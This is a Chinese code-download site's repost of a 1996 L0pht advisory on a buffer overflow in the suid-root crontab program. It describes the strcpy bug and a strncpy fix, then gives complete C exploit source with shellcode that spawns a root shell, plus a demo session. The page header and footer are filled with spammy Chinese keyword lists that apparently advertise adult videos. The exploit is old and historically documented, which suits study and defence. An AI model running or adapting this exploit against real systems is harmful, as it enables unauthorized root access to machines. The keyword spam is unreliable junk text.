亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? c源碼:crontab buffer overflow code.txt

?? 學習(編程技巧_編程知識_程序代碼),是學習編程不可多得的學習精驗
?? TXT
字號:
C源碼:crontab buffer overflow code
 

--------------------------------------------------------------------------------
 
第八軍團 時間:2004-1-23 15:46:23 
   
Due to a problem with the code in crontab, a buffer overflow exists that 
allows a user to overwrite the information in a saved stack frame. When 
the function returns, the saved frame is popped off of the stack and 
user supplied code can be executed. 

Example: 

> id 
uid=621 (mudge) gid=200(users) 
> ./cronny -92 
Using offset (0xefbfdbc8) 
# id 
uid=621 (mudge) euid=0(root) gid=200(users) 

Description: 

When crontab, a suid root program, is run with just a filename as it's 
only argument the argument is copied into the variable 
Filename[MAX_FNAME]. 
Since this copy is done via strcpy, no bounds checking is done on the 
length of the string being handed in. The code snippit from crontab.c 
is as follows: 


  static char      Filename[MAX_FNAME]; 
  ... 

  [ from parse_args(argc, argc) ] 
  if (argv[optind] != NULL) { 
    Option = opt_replace; 
    (void) strcpy (Filename, argv[optind]); 
  }  

By placing a sufficently sized string in argv[1] it is possible to 
overwrite 
the saved frame on the stack and, upon return from the routine execute 
machine codes of the users contruction. 

Solution: 

One fix to the above problem is to replace the strcpy() with strncpy(). 

  if (argv[optind] != NULL) { 
    Option = opt_replace; 
    (void) strncpy(Filename, argv[optind], sizeof(Filename)); 
  } 

However, this only takes care of _one_ of the exploitable buffer overflows 
in crontab. Finding and fixing the others is left as an excercise to the 
readers ;-) [yes, Theo - I know you have already fixed them in OpenBSD!] 

Gratuitous plug: 

OpenBSD has already fixed these problems in crontab around the date of 
the exploit code below, if not a ways before. Talk about an OS with 
pro-active security coders! 

Exploit code: 

/******************************************************************** 
 * crontab buffer overflow code - mudge@l0pht.com                   * 
 * 10/12/96                                                         * 
 *                                                                  * 
 * So I was sitting here thinking... I know, it's a dangerous thing * 
 * and you ever notice that hackers seem to have a surplus of time  * 
 * on their hands? Well, I don't but hopefully if I keep coming out * 
 * with things like this it will help to perpetuate the myth.       * 
 *                                                                  * 
 * There is a really cool buffer overflow in crond that bitwrior    * 
 * spotted. So I figured that since the same person, Paul Vixie,    * 
 * wrote crontab too that the same type of errors would probably be * 
 * there. Sure enough!                                              * 
 *                                                                  * 
 * Ya gotta love command line overflows... just yank the code from  * 
 * any existing one and brute on the new program. This is almost    * 
 * verbatim from my modstat overflow.                               * 
 *                                                                  * 
 * try with offsets of -92, -348, 164, 296, 351 with the way this   * 
 * is currently setup. If these fail, brute force it <grin>.        * 
 *******************************************************************/ 

#include <stdio.h> 
#include <stdlib.h> 

long get_esp(void) 
{ 
   __asm__("movl %esp, %eax\n"); 
} 

main(int argc, char **argv) 
{ 
   int i, j, offset; 
   char *bar, *foo; 
   unsigned long *esp_plus = NULL; 

   
   char mach_codes[] = 
   "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9" 
   "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46" 
   "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51" 
   "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh"; 

    
   if (argc == 2) 
     offset = atoi(argv[1]); 

   bar = malloc(4096); 
   if (!bar){ 
     fprintf(stderr, "failed to malloc memory\n"); 
     exit(1); 
   } 

   foo = bar;  /* copy of original ptr */ 

   esp_plus = (long *)bar; 
   for(i=0; i < 1024 ; i++) 
     *(esp_plus++) = (get_esp() + offset); 

   printf("Using offset (0x%x)\n", (get_esp() + offset));  

   bar = (char *)esp_plus; 

   for(j=0; j< strlen(mach_codes); j++) 
     *(bar++) = mach_codes[j]; 

   *bar = 0;  

   execl("/usr/bin/crontab", "crontab", foo, NULL);   
} 

mudge@l0pht.com 
--- 
http://www.l0pht.com/advisories.html 
--- 


 
 
 

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
国产精品的网站| 亚洲欧美国产三级| 色丁香久综合在线久综合在线观看| 亚洲va欧美va人人爽午夜| 久久噜噜亚洲综合| 欧美日韩色一区| 91丨porny丨国产| 国产乱码精品一区二区三区av| 亚洲精品欧美在线| 中文字幕不卡的av| 久久综合九色综合97婷婷女人 | 欧美电视剧在线观看完整版| 99久久精品99国产精品| 国产一区二区三区视频在线播放| 午夜一区二区三区视频| 亚洲激情自拍视频| 一级女性全黄久久生活片免费| 国产精品女上位| 国产欧美精品国产国产专区| 久久精品人人做人人爽97| 久久久99精品免费观看不卡| 精品对白一区国产伦| 久久婷婷色综合| 欧美国产精品中文字幕| 国产精品成人网| 亚洲小说欧美激情另类| 亚洲午夜久久久久久久久电影院 | 日韩欧美一区二区三区在线| 日韩三级高清在线| 欧美国产日韩精品免费观看| 国产精品久久久久国产精品日日| 久久久.com| 国产精品久久看| 一区二区三区在线免费播放| 亚洲人精品午夜| 亚洲午夜在线电影| 蜜桃视频一区二区三区在线观看 | 国产成人精品免费| 国产99一区视频免费| 成人禁用看黄a在线| 色94色欧美sute亚洲13| 欧美亚洲国产一区二区三区va| 欧美日韩精品一区二区三区| 69堂成人精品免费视频| 欧美性做爰猛烈叫床潮| 欧美自拍偷拍午夜视频| 日韩一区二区视频在线观看| 精品国产乱码久久久久久免费| 久久综合色一综合色88| 国产精品视频看| 亚洲国产精品麻豆| 国产米奇在线777精品观看| 国产高清久久久久| 欧美日韩一级二级| 亚洲国产精品高清| 日韩国产欧美视频| 国产91高潮流白浆在线麻豆| 欧洲色大大久久| 亚洲精品一区二区精华| 亚洲午夜精品久久久久久久久| 激情综合五月婷婷| 欧美丰满少妇xxxxx高潮对白| 26uuu色噜噜精品一区| 一区二区三区高清| 国产高清无密码一区二区三区| 色噜噜偷拍精品综合在线| 精品剧情在线观看| 蜜臀a∨国产成人精品| 欧美日韩国产高清一区二区 | 91丨九色porny丨蝌蚪| 91麻豆精品国产| 亚洲成人在线网站| 色婷婷综合久久久中文一区二区| 久久久国产午夜精品| 99vv1com这只有精品| 亚洲国产成人一区二区三区| 日本在线不卡视频| 91精选在线观看| 毛片av中文字幕一区二区| 欧美日韩午夜在线视频| 午夜伊人狠狠久久| 4438x亚洲最大成人网| 亚洲chinese男男1069| 欧美日韩一区在线观看| 午夜精品久久久久久久久久| 色一区在线观看| 亚洲成人在线免费| 337p亚洲精品色噜噜| 一区二区免费看| 欧美亚洲日本国产| 日日摸夜夜添夜夜添精品视频 | 不卡的看片网站| 亚洲精品国产品国语在线app| 一本色道**综合亚洲精品蜜桃冫 | 欧美国产欧美综合| 成人v精品蜜桃久久一区| 亚洲欧洲制服丝袜| 在线不卡一区二区| 国产一区二区美女| 亚洲免费在线电影| 亚洲精品在线电影| 成人黄色a**站在线观看| 一区二区三区精品在线| 欧美理论片在线| 成人av综合在线| 日本女优在线视频一区二区| 欧美高清一级片在线观看| 欧美日韩一区二区在线观看| 国产一区二区三区在线观看免费| 日韩久久一区二区| 精品国产乱码久久久久久浪潮 | 色婷婷久久久亚洲一区二区三区| 五月婷婷欧美视频| 中国色在线观看另类| 欧美日韩三级一区| 91老司机福利 在线| 国产一区二区在线观看免费 | 视频一区二区国产| 亚洲成av人片在线| 亚洲免费色视频| 日韩欧美一级片| 在线播放欧美女士性生活| 99re热这里只有精品免费视频| 国产在线精品免费| 裸体一区二区三区| 日本欧美一区二区在线观看| 成人免费在线观看入口| 国产亚洲一本大道中文在线| 欧美一区二区三区色| 91精品婷婷国产综合久久性色| 欧洲视频一区二区| 欧美无人高清视频在线观看| 99re6这里只有精品视频在线观看| 国产一区视频在线看| 国产剧情一区在线| 国产69精品一区二区亚洲孕妇| 国产a区久久久| av一二三不卡影片| 色av成人天堂桃色av| 在线观看免费视频综合| 精品视频123区在线观看| 日本乱人伦aⅴ精品| 欧美视频自拍偷拍| 日韩免费视频一区| ww亚洲ww在线观看国产| 欧美激情一区二区在线| 亚洲激情网站免费观看| 日韩精品一卡二卡三卡四卡无卡| 免费久久精品视频| 不卡一二三区首页| 欧美精品国产精品| 国产日韩成人精品| 亚洲免费在线电影| 国产精一区二区三区| 色先锋aa成人| 国产精品色在线| 五月激情丁香一区二区三区| 国产一区不卡在线| 欧美日韩国产综合视频在线观看| 日韩一区二区三区精品视频| 国产精品三级在线观看| 午夜久久久影院| 99久久99精品久久久久久| 在线播放一区二区三区| 久久久蜜桃精品| 精品中文字幕一区二区| 91国产福利在线| 欧美激情在线免费观看| 男女男精品视频| 91精品办公室少妇高潮对白| 精品国产麻豆免费人成网站| 亚洲韩国精品一区| 91麻豆精东视频| 国产欧美一区在线| 国产黄色成人av| 日韩免费观看2025年上映的电影| 亚洲一区二区三区在线| 99久久精品免费看| 亚洲精品一线二线三线| 久久精品国产久精国产| 91精品国产免费久久综合| 亚洲福利视频一区| 欧美三级电影在线看| |精品福利一区二区三区| 一道本成人在线| 亚洲美女一区二区三区| 91一区一区三区| 亚洲卡通动漫在线| 色吊一区二区三区| 丝袜美腿亚洲色图| 欧美成人精品二区三区99精品| 日韩av不卡一区二区| 91麻豆精品国产91久久久久久| 亚洲超碰97人人做人人爱| 欧美一区二区在线免费观看| 日韩福利视频导航| 国产精品高潮久久久久无| 91在线视频18| 日本在线不卡视频| 中文字幕一区在线观看|